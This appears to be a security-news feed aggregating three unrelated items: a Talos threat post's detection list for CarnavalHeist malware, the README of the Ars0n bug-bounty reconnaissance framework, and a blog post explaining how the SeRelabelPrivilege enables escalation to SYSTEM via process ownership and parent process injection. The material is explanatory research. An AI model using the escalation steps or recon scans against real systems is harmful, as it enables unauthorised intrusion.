Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org

The following Snort SIDs are applicable to this threat: 63515, 63516, 63517, 63518 and 300922. 

 The following ClamAV detections are also available for this threat: 

Win.Trojan.CarnavalHeist-10029766-0 
Lnk.Downloader.CarnavalHeist-10029991-0 
Win.Dropper.CarnavalHeist-10029449-0 
Win.Loader.CarnavalHeist-10029772-0 

Indicators of Compromise 

Indicators of Compromise associated with this threat can be found here

Ars0N-Framework - A Modern Framework For Bug Bounty Hunting



Howdy! My name is Harrison Richardson, or rs0n (arson) when I want to feel cooler than I really am. The code in this repository started as a small collection of scripts to help automate many of the common Bug Bounty hunting processes I found myself repeating. Over time, I built a simple web application with a MongoDB connection to manage my findings and identify valuable data points. After 5 years of Bug Bounty hunting, both part-time and full-time, I'm finally ready to package this collection of tools into a proper framework.


The Ars0n Framework is designed to provide aspiring Application Security Engineers with all the tools they need to leverage Bug Bounty hunting as a means to learn valuable, real-world AppSec concepts and make 💰 doing it! My goal is to lower the barrier of entry for Bug Bounty hunting by providing easy-to-use automation tools in combination with educational content and how-to guides for a wide range of Web-based and Cloud-based vulnerabilities. In combination with my YouTube content, this framework will help aspiring Application Security Engineers to quickly and easily understand real-world security concepts that directly translate to a high paying career in Cyber Security.

In addition to using this tool for Bug Bounty Hunting, aspiring engineers can also use this Github Repository as a canvas to practice collaborating with other developers! This tool was inspired by Metasploit and designed to be modular in a similar way. Each Script (Ex: wildfire.py or slowburn.py) is basically an algorithm that runs the Modules (Ex: fire-starter.py or fire-scanner.py) in a specific patter for a desired result. Because of this design, the community is free to build new Scripts to solve a specific use-case or Modules to expand the results of these Scripts. By learning the code in this framework and using Github to contribute your own code, aspiring engineers will continue to learn real-world skills that can be applied on the first day of a Security Engineer I position.

My hope is that this modular framework will act as a canvas to help share what I've learned over my career to the next generation of Security Engineers! Trust me, we need all the help we can get!!


Quick Start

Paste this code block into a clean installation of Kali Linux 2023.4 to download, install, and run the latest stable Alpha version of the framework:

sudo apt update && sudo apt-get update
sudo apt -y upgrade && sudo apt-get -y upgrade
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
cd ars0n-framework
./install.sh

Download Latest Stable ALPHA Version

wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz

Install

The Ars0n Framework includes a script that installs all the necessary tools, packages, etc. that are needed to run the framework on a clean installation of Kali Linux 2023.4.

Please note that the only supported installation of this framework is on a clean installation of Kali Linux 2023.3. If you choose to try and run the framework outside of a clean Kali install, I will not be able to help troubleshoot if you have any issues.

./install.sh

This video shows exactly what to expect from a successful installation.

If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts

./install.sh --arm

You will be prompted to enter various API keys and tokens when the installation begins. Entering these is not required to run the core functionality of the framework. If you do not enter these API keys and tokens at the time of installation, simply hit enter at each of the prompts. The keys can be added later to the ~/.keys directory. More information about how to add these keys manually can be found in the Frequently Asked Questions section of this README.

Run the Web Application (Client and Server)

Once the installation is complete, you will be given the option to run the application by entering Y. If you choose not the run the application immediately, or if you need to run the application after a reboot, simply navigate to the root directly and run the run.sh bash script.

./run.sh

If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts

./run.sh --arm

Core Modules

The Ars0n Framework's Core Modules are used to determine the basic scanning logic. Each script is designed to support a specific recon methodology based on what the user is trying to accomplish.

Wildfire

At this time, the Wildfire script is the most widely used Core Module in the Ars0n Framework. The purpose of this module is to allow the user to scan multiple targets that allow for testing on any subdomain discovered by the researcher.

How it works:

  1. The user adds root domains through the Graphical User Interface (GUI) that they wish to scan for hidden subdomains
  2. Wildfire sorts each of these domains based on the last time they were scanned to ensure the domain with the oldest data is scanned first
  3. Wildfire scans each of the domains using the Sub-Modules based on the flags provided by the user.

Most Wildfire scans take between 8 and 48 hours to complete against a single domain if all Sub-Modules are being run. Variations in this timing can be caused by a number of factors, including the target application and the machine running the framework.

Also, please note that most data will not show in the GUI until the scan has completed. It's best to try and run the scan overnight or over a weekend, depending on the number of domains being scanned, and return once the scan has complete to move from Recon to Enumeration.

Running Wildfire:

Graphical User Interface (GUI)

Wildfire can be run from the GUI using the Wildfire button on the dashboard. Once clicked, the front-end will use the checkboxes on the screen to determine what flags should be passed to the scanner.

Please note that running scans from the GUI still has a few bugs and edge cases that haven't been sorted out. If you have any issues, you can simply run the scan form the CLI.

Command Line Interface (CLI)

All Core Modules for The Ars0n Framework are stored in the /toolkit directory. Simply navigate to the directory and run wildfire.py with the necessary flags. At least one Sub-Module flag must be provided.

python3 wildfire.py --start --cloud --scan

Slowburn

Unlike the Wildfire module, which requires the user to identify target domains to scan, the Slowburn module does that work for you. By communicating with APIs for various bug bounty hunting platforms, this script will identify all domains that allow for testing on any discovered subdomain. Once the data has been populated, Slowburn will randomly choose one domain at a time to scan in the same way Wildfire does.

Please note that the Slowburn module is still in development and is not considered part of the stable alpha release. There will likely be bugs and edge cases encountered by the user.

In order for Slowburn to identify targets to scan, it must first be initialized. This initialization step collects the necessary data from various API's and deposits them into a JSON file stored locally. Once this initialization step is complete, Slowburn will automatically begin selecting and scanning one target at a time.

To initalize Slowburn, simply run the following command:

python3 slowburn.py --initialize

Once the data has been collected, it is up to the user whether they want to re-initialize the tool upon the next scan.

Remember that the scope and targets on public bug bounty programs can change frequently. If you choose to run Slowburn without initializing the data, you may be scanning domains that are no longer in scope for the program. It is strongly recommended that Slowburn be re-initialized each time before running.

If you choose not to re-initialize the target data, you can run Slowburn using the previously collected data with the following command:

python3 slowburn.py

Sub-Modules

The Ars0n Framework's Sub-Modules are designed to be leveraged by the Core Modules to divide the Recon & Enumeration phases into specific tasks. The data collected in each Sub-Module is used by the others to expand your picture of the target's attack surface.

Fire-Starter

Fire-Starter is the first step to performing recon against a target domain. The goal of this script is to collect a wealth of information about the attack surface of your target. Once collected, this data will be used by all other Sub-Modules to help the user identify a specific URL that is potentially vulnerable.

Fire-Starter works by running a series of open-source tools to enumerate hidden subdomains, DNS records, and the ASN's to identify where those external entries are hosted. Currently, Fire-Starter works by chaining together the following widely used open-source tools:

  • Amass
  • Sublist3r
  • Assetfinder
  • Get All URL's (GAU)
  • Certificate Transparency Logs (CRT)
  • Subfinder
  • ShuffleDNS
  • GoSpider
  • Subdomainizer

These tools cover a wide range of techniques to identify hidden subdomains, including web scraping, brute force, and crawling to identify links and JavaScript URLs.

Once the scan is complete, the Dashboard will be updated and available to the user.

Most Sub-Modules in The Ars0n Framework requre the data collected from the Fire-Starter module to work. With this in mind, Fire-Starter must be included in the first scan against a target for any usable data to be collected.

Fire-Cloud

Coming soon...

Fire-Scanner

Fire-Scanner uses the results of Fire-Starter and Fire-Cloud to perform Wide-Band Scanning against all subdomains and cloud services that have been discovered from previous scans.

At this stage of development, this script leverages Nuclei almost exclusively for all scanning. Instead of simply running the tool, Fire-Scanner breaks the scan down into specific collections of Nuclei Templates and scans them one by one. This strategy helps ensure the scans are stable and produce consistent results, removes any unnecessary or unsafe scan checks, and produces actionable results.

Troubleshooting

The vast majority of issues installing and/or running the Ars0n Framework are caused by not installing the tool on a clean installation of Kali Linux.

It is important to remember that, at its core, the Ars0n Framework is a collection of automation scripts designed to run existing open-source tools. Each of these tools have their own ways of operating and can experience unexpected behavior if conflicts emerge with any existing service/tool running on the user's system. This complexity is the reason why running The Ars0n Framework should only be run on a clean installation of Kali Linux.

Another very common issue users experience is caused by MongoDB not successfully installing and/or running on their machine. The most common manifestation of this issue is the user is unable to add an initial FQDN and simply sees a broken GUI. If this occurs, please ensure that your machine has the necessary system requirements to run MongoDB. Unfortunately, there is no current solution if you run into this issue.

Frequently Asked Questions

Coming soon...



Abusing the SeRelabelPrivilege

By: Decoder
30 May 2024 at 20:30

In a recent assessment, it was found that a specific Group Poilcy granted via “User Right Assignments” the SeRelabelPrivilege to the built-in Users group and was applied on several computer accounts.

I never found this privilege before and was obviously curious to understand the potential implications and the possibility of any (mis)usage scenario.

Microsoft documentation is as usual not very clear and helpful, to summarize:

Anyone with the Modify an object label user right can change the integrity level of a file or process so that it becomes elevated or decreased to a point where it can be deleted by lower integrity processes.

Luckily, a post from James Froshaw published in 2021 gave much more details and useful information on possible abuse 😉 . I highly recommend reading it before going on.

I decided to do some experiments to understand how “far” I could go.

I started by assigning to a standard user the SeRelabelPrivilege via group policy:

The privilege is only available in High Integrity Level (in the case of cmd.exe -> run as administrator):

But what does this privilege grant to you? Well, a lot of interesting permissions!

  • It allows you to take ownership of a resource
  • Furthermore, unlike the SeTakeOwnsership privilege, it allows you to own resources that have an integrity level even higher than your own
  • Once you have taken the ownership, you can grant yourself full control over the resource (process, tokens,…)
  • Quick & dirty: Same as abusing the SeDebugPrivilege 🙂

My goal was to take ownership of a SYSTEM process, grant myself full control, and then create a process under the NT AUTHORITY\SYSTEM account.

Perfect Local Privilege Escalation… pardon, just a “Safety Boundary” violation 😉

For this purpose, I created a simple POC:

First of all, I needed to get the current user SID and enable the specific privilege. After this, I took the ownership of the process:

I needed to open the process with WRITE_OWNER access. In the SetSecurityInfo call, the “LABEL_SECURITY_INFORMATION” flag is mandatory, otherwise, I was not able to own a process with an Integrity Level higher than my High IL process.

Once I took the ownership, it was super-easy to grant full control:

In this case, I needed to open the process with WRITE_DAC access, and after setting the explicit access to PROCESS_ALL_ACCESS, I gained full control of the process!

Side note: this is just an example, the same results can be accomplished in different ways by using other API calls.

Let’s see if it works… 7116 was the winlogon process, which ran under System Integrity and was owned by SYSTEM:

Ownership changed and full control was successfully granted:

The easiest way to abuse this was to perform a parent process injection. For this purpose, I used my old psgetsystem tool (remember to comment out Process.EnterDebugMode())

Et voilà! Got SYSTEM access 🙂

Just for fun, I also took ownership of the token, granted full access to the token, and lowered the IL from System to Medium 😉

Conclusion

From what I understood of this really strange privilege:

  • It allows you to take ownership of a resource even if it’s IL > of yours.
  • Once you take ownership you can grant yourself full access to the process and tokens.
  • The result, from an abuse perspective, is then quite similar to the Debug Privilege
  • Manipulating the mandatory label is just a consequence.
  • I still don’t understand why MS implemented it

The source code of simple and stupid POC can be found here

Thanks to James Forshaw for his useful hints and for helping me demystify this privilege

That’s all 🙂

❌
❌